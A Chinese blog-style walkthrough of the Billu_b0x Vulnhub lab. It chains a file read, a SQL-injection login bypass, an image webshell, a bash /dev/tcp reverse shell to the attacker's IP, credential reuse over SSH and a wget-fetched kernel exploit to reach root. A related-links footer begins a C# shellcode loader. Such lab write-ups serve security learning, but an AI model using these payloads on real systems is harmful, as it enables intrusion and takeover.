当前位置: 首页 > news >正文

Vulnhub靶场 Billu_b0x 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件包含
    • 2. SQL注入
    • 3. 文件上传
    • 4. 反弹shell
    • 5. 提权(思路1:ssh)
    • 6. 提权(思路2:内核)
    • 7. 补充
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-6.zip

介绍:

This Virtual machine is using ubuntu (32 bit)

Other packages used: -

  • PHP
  • Apache
  • MySQL

This virtual machine is having medium difficulty level with tricks.

One need to break into VM using web application and from there escalate privileges to gain root access

For any query ping me at https://twitter.com/IndiShell1046

Enjoy the machine



0x01 主机信息收集


kali的IP地址:192.168.119.128,eth0

发现目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24

目标主机IP:192.168.119.133

探测目标主机的开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.119.133
在这里插入图片描述



开放了22端口(openssh5.9),80端口(apache2.2.22)。

直接在浏览器访问80端口:
在这里插入图片描述



0x02 站点信息收集


这个靶机的介绍里面有说明这是个apache+php+mysql的站点。利用插件也可以知道这是个php站点。

看一下站点的目录结构:dirsearch -u 192.168.119.133
在这里插入图片描述



依次访问一下发现几个看起来比较有用的地方,add是一个上传图片的地方:
在这里插入图片描述



images里面是站点用到的一些图片:
在这里插入图片描述



index页面就是前面看到的首页了,有username和password的输入框。

phpmy是phpmyadmin的登录页面:
在这里插入图片描述



test页面是一个提示,利用file参数提供文件路径:
在这里插入图片描述



in页面是phpinfo的页面:
在这里插入图片描述



0x03 漏洞查找与利用


根据上面查找出来的信息,可以尝试三个思路。一个是首页的sql注入,另一个是文件上传,还有一个是文件包含。

1. 文件包含


前面在test页面有个提示,可以用file参数提供文件路径。

访问:192.168.119.133/test?file=/etc/passwd

访问:192.168.119.133/test?file=/etc/passwd/test?file=…/…/…/…/…/…/…/etc/passwd

都是一样的提示,file参数是空的。

考虑用POST方式提交:
在这里插入图片描述



可以看到读取文件成功。
(这里用POST方式提交的时候也可以用curl命令:curl -d "file=/etc/passwd" http://192.168.119.133/test

尝试读取网站的其他文件,前面扫描出来的目录可以都试一下,例如读取add.php:
在这里插入图片描述



在c.php中看到了数据库的用户名是billu,密码是b0x_billu,默认数据库是ica_lab:
在这里插入图片描述



在index.php中看到了登录的数据库查询语句:select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\’ ,并且使用了str_replace函数移除了用户名和密码中包含的单引号。
在这里插入图片描述



在test.php中看到源码。这段代码的大体意思是通过post给file参数提供一个文件路径,如果这个文件存在,就设置相关的http信息来下载文件,如果文件不存在或者file参数没有值,则输出一段提示信息:
在这里插入图片描述



2. SQL注入


在上一步文件包含的时候查看了index页面的源代码,发现了sql查询语句,单数输入的单引号被过滤了:

select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\’

只是单引号被过滤了,#\还没被过滤。思路就是用#注释掉最后一个单引号,中间的单引号用反斜杠转义一下。

where pass=‘123\’ and uname=’123#’

这样的话就变成了查询 pass是 123\’ and uname= 的情况。



数据库中应该没有这样的password。那就再后面拼接一个or,所以构造下面这样的查询语句:

where pass=‘123\’ and uname=’ or 1=1 #’

上面这个语句的意思就是查询pass是123\’ and uname= 或者 1=1。这时候应该查询成功了。


所以构造的用户名是: or 1=1 #
密码是:123\
在这里插入图片描述



登录成功以后跳转到panle页面:
在这里插入图片描述



3. 文件上传


点击continue以后,会出现用户名和image。
在这里插入图片描述



点击 add user,continue以后会出现上传文件的地方。上传一个非图片的文件后会提示只能上传图片类的文件:
在这里插入图片描述



考虑制作一个图片马上传到这里。

准备一个图片 1.jpg。

准备一个2.php文件,内容如下:<?php system($_GET['cmd']); ?>

执行命令将代码写到图片末尾:cat 2.php >> 1.jpg
在这里插入图片描述



可以再看一下图片内容,在最后面可以看到写入的代码:cat 1.jpg
在这里插入图片描述



回到panel页面,添加一个用户。添加成功后show一下:
在这里插入图片描述



用前面的文件包含来看一下panel页面的代码,比较重要的部分贴在下面:

if(isset($_POST['continue'])) {$dir = getcwd();  // 获取当前工作目录$choice = str_replace('./', '', $_POST['load']);  // 获取用户选择的操作if($choice === 'add') {include($dir.'/'.$choice.'.php');die();}if($choice === 'show') {include($dir.'/'.$choice.'.php');die();} else {include($dir.'/'.$_POST['load']);}
}

这段代码用str_replace函数去除了post请求中load参数值的 ./ 。如果用户选择了 add,则展示 add.php 文件;如果用户选择了 show,则展示 show.php 文件。这里用了include函数,并且包含文件的时候choice是可控的,这里应该也可以进行文件包含。

if(isset($_POST['upload'])) {$name = mysqli_real_escape_string($conn, $_POST['name']);$address = mysqli_real_escape_string($conn, $_POST['address']);$id = mysqli_real_escape_string($conn, $_POST['id']);if(!empty($_FILES['image']['name'])) {$iname = mysqli_real_escape_string($conn, $_FILES['image']['name']);$r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);$image = array('jpeg', 'jpg', 'gif', 'png');if(in_array($r, $image)) {$finfo = @new finfo(FILEINFO_MIME);$filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/', $filetype) || preg_match('/image\/png/', $filetype) || preg_match('/image\/gif/', $filetype)) {if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])) {echo "Uploaded successfully ";$update = 'INSERT INTO users(name, address, image, id) VALUES(\''.$name.'\', \''.$address.'\', \''.$iname.'\', \''.$id.'\')';mysqli_query($conn, $update);}} else {echo "<br>i told you dear, only png, jpg and gif file are allowed";}} else {echo "<br>only png, jpg and gif file are allowed";}}
}

这段代码就是处理用户上传的文件。使用mysqli_real_escape_string函数数据进行转义。检查用户上传的文件的扩展名是否为jpg,jpeg,gif,png,使用finfo获取文件的MIME类型,确保上传的是图像文件。使用move_uploaded_file()将图像文件移动到 uploaded_images目录中,将用户的name,address,image和id插入数据的users表中。



在这段代码中发现了一个新的目录,访问一下,可以看到刚才上传的文件 1.jpg:
在这里插入图片描述



访问一下这个图片,并且给cmd参数提供一个值whoami,结果并没有执行命令:
在这里插入图片描述



通过前面的分析,文件包含目前有两个地方。一个是test页面的file参数,再就是上面的panel页面的load参数。

试了一下test页面的,并没有执行代码:
在这里插入图片描述



再尝试一下panel页面的,发现可以执行代码:
在这里插入图片描述



那就可以利用这个进行反弹shell。



4. 反弹shell


在kali监听6677端口,执行命令:nc -lvvp 6677
在这里插入图片描述

接下来准备构造反弹shell的语句:

语句本身:echo "bash -i >& /dev/tcp/192.168.119.128/6677 0>&1" | bash

由于用get方式提交的这个参数,并且带有特殊字符,所以为了防止解析错误,需要对这个进行url编码,结果为:%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%39%2e%31%32%38%2f%36%36%37%37%20%30%3e%26%31%22%20%7c%20%62%61%73%68

把上面这段代码拼接到cmd参数后面:
在这里插入图片描述



发现监听成功:
在这里插入图片描述



5. 提权(思路1:ssh)


看一下当前目录下的文件,没发现有什么。

再看一下当前用户可以执行的命令:sudo -l,报错:
在这里插入图片描述



在这种情况下,这种错误出现一般是因为这里是非交互式环境。可以执行下面的命令获取交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

再次执行 sudo -l,需要输入密码。只能换个思路。
在这里插入图片描述



再看看有没有什么敏感文件,执行命令:ls -l
在这里插入图片描述



发现了phpmy目录。想起来在一开始扫描目录结构的时候发现了phpmyadmin的登陆页面。进入这个目录看有没有敏感信息。有个config.inc.php文件,查看一下文件的内容,发现了数据库的用户名为root,密码是roottoor,并且下面的一项设置导致不用密码也能登录:
在这里插入图片描述



利用这个用户名密码去phpmy页面进行登录,发现登陆失败。应该不是这个数据库密码,空密码也不能登录,说明这个配置文件和这个页面没啥直接关系。

换个思路,前面还有个22端口没有利用。尝试用这个账号密码进行ssh链接:ssh root@192.168.119.133
在这里插入图片描述

以root身份登录成功。



6. 提权(思路2:内核)


看了一些佬的文章,还可以进行内核提权。

在反弹shell以后,查看系统版本:cat /etc/issue

在这里插入图片描述



查询可以利用的漏洞:searchsploit ubuntu 12.04
在这里插入图片描述



利用 37292.c 这个exp。

将这个文件复制到网站根目录下:cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html

开启apache服务:/etc/init.d/apache2 start
在这里插入图片描述



在反弹的shell中,进入/tmp目录:cd /tmp

(因为tmp目录是全局可写的,所有的用户都可以存放文件。)

下载 37292.c 文件到目标主机:wget http://192.168.119.128/37292.c

将这个文件编译,输出到文件 baji:gcc 37292.c -o baji

执行文件:./baji
在这里插入图片描述



7. 补充


前面用文件包含读源码的时候,在c.php中看到了数据库的用户名是billu,密码是b0x_billu,默认数据库是ica_lab。这个在index页面是无法登录的,这个应该用在phpmy页面进行登录。

登录上以后,在 ica_lab 数据库的auth表中可以看到用户名和密码,可以用这里获取到的信息在index页面登录。
在这里插入图片描述



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录,依次访问。
  2. 发现一个index登录页,phpmyadmin的登录页。
  3. 在test页根据提示发现了文件包含,可以读取源码。

漏洞利用:

  1. 文件包含查看源码,发现sql查询语句,根据这个语句进行sql注入,成功登录index页面。
  2. 上传图片马,执行系统命令,进行反弹shell。
  3. 读取配置文件,获取敏感信息,进行ssh链接。
  4. 获得系统的版本信息,进行内核提权。



相关文章:

Vulnhub靶场 Billu_b0x 练习

目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 文件包含2. SQL注入3. 文件上传4. 反弹shell5. 提权&#xff08;思路1&#xff1a;ssh&#xff09;6. 提权&#xff08;思路2&#xff1a;内核&#xff09;7. 补充 0x04 总结 0x00 准备 下载链接&#…...

Essential Cell Biology--Fifth Edition--Chapter one (6)

1.1.4.4 Internal Membranes Create Intracellular Compartments with Different Functions [细胞膜形成具有不同功能的细胞内隔室] 细胞核、线粒体和叶绿体并不是真核细胞中唯一的膜包围细胞器。细胞质中含有大量的[ a profusion of]其他细胞器&#xff0c;这些细胞器被单层膜…...

Jupyter Book 快捷键总结大全

快捷键完整分类与功能 1. 模式切换 在 jb 中&#xff0c;您可以通过快捷键快速切换编辑模式和命令模式&#xff1a; 快捷键功能Esc切换到命令模式Enter切换到编辑模式 2. 单元格操作 单元格是 jb 的基本操作单位&#xff0c;以下快捷键可以帮助您快速编辑和管理单元格&…...

Spring Authorization Server OAuth2.1

Spring Authorization Server介绍 Spring Authorization Server 是一个框架&#xff0c;它提供了 OAuth 2.1 和 OpenID Connect 1.0 规范以及其他相关规范的实现。 它建立在 Spring Security 之上&#xff0c;为构建 OpenID Connect 1.0 身份提供者和 OAuth2 授权服务器产品提供…...

解决”重复文件名重命名“问题【根据Word系统方式】

提示&#xff1a;工作中遇到的功能需求&#xff0c;在此记录&#xff0c;不喜勿喷&#xff01;谢谢 文章目录 前言一、需求分析二、需求实现 前言 最近工作中遇到的我认为有必要记录的需求实现&#xff0c;希望可以帮助到有同样需求的小伙伴们&#xff01; 提示&#xff1a;以…...

【PyTorch】PyTorch Geometric(PyG)安装指南:如何高效配置图神经网络环境

目录 引言一、通过 Anaconda 安装二、通过 PyPi 安装三、从 Wheels 安装四、从 ROCm 安装五、从源代码安装5.1 确保 CUDA 环境设置正确5.1.1 检查 PyTorch 是否支持 CUDA5.1.2 设置 CUDA 环境变量5.1.3 验证 nvcc 是否可用 5.2 安装 PyTorch Geometric 所需软件包5.3 强制重新安…...

SolidWorks21装配体中一个零件无法改为线架图

右键零件弹出栏中选择零部件显示改为默认显示&#xff0c;再切换线架图&#xff0c;就会发现整个装配体都能切换为线架图了&#xff01;...

11.11机器学习_介绍和定义

一、 机器学习介绍与定义 1. 机器学习定义 机器学习&#xff08;Machine Learning&#xff09;本质上就是让计算机自己在数据中学习规律&#xff0c;并根据所得到的规律对未来数据进行预测。 机器学习包括如聚类、分类、决策树、贝叶斯、神经网络、深度学习&#xff08;Deep…...

【代码审计】常见漏洞专项审计-业务逻辑漏洞审计

❤️博客主页&#xff1a; iknow181 &#x1f525;系列专栏&#xff1a; 网络安全、 Python、JavaSE、JavaWeb、CCNP &#x1f389;欢迎大家点赞&#x1f44d;收藏⭐评论✍ 0x01 漏洞介绍 1、 原理 业务逻辑漏洞是一类特殊的安全漏洞&#xff0c;业务逻辑漏洞属于设计漏洞而非实…...

SpringBoot单体服务无感更新启动,动态检测端口号并动态更新

SpringBoot单体服务无感更新启动 package com.basaltic.warn;import cn.hutool.core.io.IoUtil; import lombok.SneakyThrows; import org.apache.commons.lang3.StringUtils; import org.mybatis.spring.annotation.MapperScan; import org.springframework.boot.SpringApplic…...

CSS基础知识04

文本溢出通常是指在限定的空间内不能容纳所输入的文字&#xff0c;导致文字超出了容器的边界 一、文本溢出 1.1.css属性处理 所用到的属性 属性属性值overflowvisible&#xff1a;默认值&#xff0c;内容不会被修剪&#xff0c;会呈现在元素框之外。hidden&#xff1a;内容会…...

python程序对服务器cpu和内存资源占用的管理。

背景 在服务器上部署了一套目标检测的程序&#xff0c;做成while true 的轮询检测数据更新的定时任务。 结果没想到那台服务器还有一套可视化程序要给领导演示看&#xff0c;结果演示的时候平台各种报错。 然后通过top查看了一下资源利用率发现python的程序cpu 130。&#xf…...

java算法性能调优:详尽探讨时间复杂度与空间复杂度的分析与优化“

接下来我将带领大家进入Java数据结构的深入学习&#xff0c;让我们一同享受Java数据结构中的奥秘。 一、引言 二、时间复杂度 三、空间复杂度 四、Java中的时间复杂度和空间复杂度 五、优化时间复杂度和空间复杂度 七、时间复杂度和空间复杂度的重要性 一&#xff1a;时间…...

人工智能:塑造未来的工作与生活

目录 人工智能技术的应用前景与影响 人工智能的历史与现状 人工智能的应用领域 人工智能的前景与挑战 个人视角&#xff1a;人工智能的应用前景与未来 人工智能在生活中的潜力 面对人工智能带来的挑战 我的观点与建议 结语 人工智能技术的应用前景与影响 随着人工智能…...

RK3568笔记六十九: 事件回调处理之Libevent 简单使用

若该文为原创文章,转载请注明原文出处。 一、前言 在项目开发过程中,事件处理使用相当多,特别是在UI处理的过程中,UI不能在非UI程里直接操作,否则会出现内存等异常,即不能在子线程里操作UI,所以用事件消息的方式通知UI线程刷新UI界面,在这一细节上掉了好多次坑。 Lib…...

MySQL如何解决幻读?

目录 一、什么是幻读&#xff1f; 1.1 幻读的定义 1.2 幻读的示例 1.3 幻读产生的原因&#xff1f; 1.4 读已提交&#xff08;Read Committed&#xff09; 1.4.1 确定事务等级 1.4.2 非锁定读取 准备 示例 结论 1.4.3 锁定读取 准备 示例 分析 结论 1.5 可重复读…...

Javascript_设计模式(二)

什么是迭代器模式?一般用在什么场景? 迭代器模式是一种行为型设计模式&#xff0c;它用于提供一种顺序访问聚合对象中各个元素的方法&#xff0c;而又不暴露该对象的内部表示。通过使用迭代器模式&#xff0c;可以遍历一个聚合对象&#xff0c;而无需关心该对象的内部结构和…...

时间同步服务器

1、时间同步服务&#xff1a;在多台主机协作时&#xff0c;确保时间同步&#xff0c;防止时间不一致造成的故障。 2、时间按同步实现&#xff1a; ntp 、chrony 3、命令&#xff1a;timedatectl timedatectl set-time "2024-02-13 10:41:55" timedatect…...

react+hook+vite项目使用eletron打包成桌面应用+可以热更新

使用Hooks-Admin的架构 Hooks-Admin: &#x1f680;&#x1f680;&#x1f680; Hooks Admin&#xff0c;基于 React18、React-Router V6、React-Hooks、Redux、TypeScript、Vite2、Ant-Design 开源的一套后台管理框架。https://gitee.com/HalseySpicy/Hooks-Adminexe桌面应用…...

STM32 ADC --- DMA乒乓缓存

STM32 ADC — DMA乒乓缓存 文章目录 STM32 ADC --- DMA乒乓缓存软件切换实现乒乓利用DMA双缓冲实现乒乓 通过cubeMX配置生成HAL工程这里使用的是上篇文章&#xff08;STM32 ADC — DMA采样&#xff09;中生成的工程配置 软件切换实现乒乓 cubeMX默认生成的工程中是打开DMA中断…...

SpringCloud基础 入门级 学习SpringCloud 超详细(简单通俗易懂)

Spring Cloud 基础入门级学习 超详细&#xff08;简单通俗易懂&#xff09; 一、SpringCloud核心组件第一代&#xff1a;SpringCloud Netflix组件第二代&#xff1a;SpringCloud Alibaba组件SpringCloud原生组件 二、SpringCloud体系架构图三、理解分布式与集群分布式集群 四、…...

【Windows 常用工具系列 20 -- MobaXterm 登录 WSL】

文章目录 MobaXterm 登录 WSL MobaXterm 登录 WSL 在 WSL 启动之后&#xff0c;打开 MobaXterm&#xff1a; 在 Distribution 中选择自己本地安装的 ubuntu 版本&#xff0c;我这里使用的是ubuntu-20.4&#xff0c;然后在 runmethod 中选择 Localhost connection. 连接成功之…...

【vmware+ubuntu16.04】ROS学习_博物馆仿真克隆ROS-Academy-for-Beginners软件包处理依赖报错问题

首先安装git 进入终端&#xff0c;输入sudo apt-get install git 安装后&#xff0c;创建一个工作空间名为tutorial_ws&#xff0c; 输入 mkdir tutorial_ws#创建工作空间 cd tutorial_ws#进入 mkdir src cd src git clone https://github.com/DroidAITech/ROS-Academy-for-Be…...

UniApp的Vue3版本中H5配置代理的最佳方法

UniApp的Vue3版本中H5项目在本地开发时需要配置跨域请求调试 最开始在 manifest.json中配置 总是报404&#xff0c;无法通过代理请求远程的接口并返回404错误。 经过验证在项目根目录创建 vite.config.js文件 vite.config.js内容: // vite.config.js import {defineConfig }…...

深入了解Pod

Pod是Kubernetes中最小的单元,它由一组、一个或多个容器组成,每个Pod还包含了一个Pause容器,Pause容器是Pod的父容器,主要负责僵尸进程的回收管理,通过Pause容器可以使同一个Pod里面的多个容器共享存储、网络、PID、IPC等。 1、Pod 是由一组紧耦合的容器组成的容器组,当然…...

基于Spider异步爬虫框架+JS动态参数逆向+隧道代理+自定义中间件的猎聘招聘数据爬取

在本篇博客中&#xff0c;我们将介绍如何使用 Scrapy 框架结合 JS 逆向技术、代理服务器和自定义中间件&#xff0c;来爬取猎聘网站的招聘数据。猎聘是一个国内知名的招聘平台&#xff0c;提供了大量的企业招聘信息和职位信息。本项目的目标是抓取指定城市的招聘信息&#xff0…...

Spring 中的 BeanDefinitionParserDelegate 和 NamespaceHandler

一、BeanDefinitionParserDelegate Spring在解析xml文件的时候&#xff0c;在遇到<bean>标签的时候&#xff0c;我们会使用BeanDefinitionParserDelegate对象类解析<bean>标签的内容&#xff0c;包括<bean>标签的多个属性&#xff0c;例如 id name class in…...

BERT模型核心组件详解及其实现

摘要 BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;是一种基于Transformer架构的预训练模型&#xff0c;在自然语言处理领域取得了显著的成果。本文详细介绍了BERT模型中的几个关键组件及其实现&#xff0c;包括激活函数、变量初始化…...

图论-代码随想录刷题记录[JAVA]

文章目录 前言深度优先搜索理论基础所有可达路径岛屿数量岛屿最大面积孤岛的总面积沉默孤岛Floyd 算法dijkstra&#xff08;朴素版&#xff09;最小生成树之primkruskal算法 前言 新手小白记录第一次刷代码随想录 1.自用 抽取精简的解题思路 方便复盘 2.代码尽量多加注释 3.记录…...

c#加载shellcode

本地加载bin文件 SharpPELoader项目如下&#xff1a; using System; using System.IO; using System.Runtime.InteropServices;namespace TestShellCode {internal class Program{private const uint MEM_COMMIT 0x1000;private const uint PAGE_EXECUTE_READWRITE 0x40;pr…...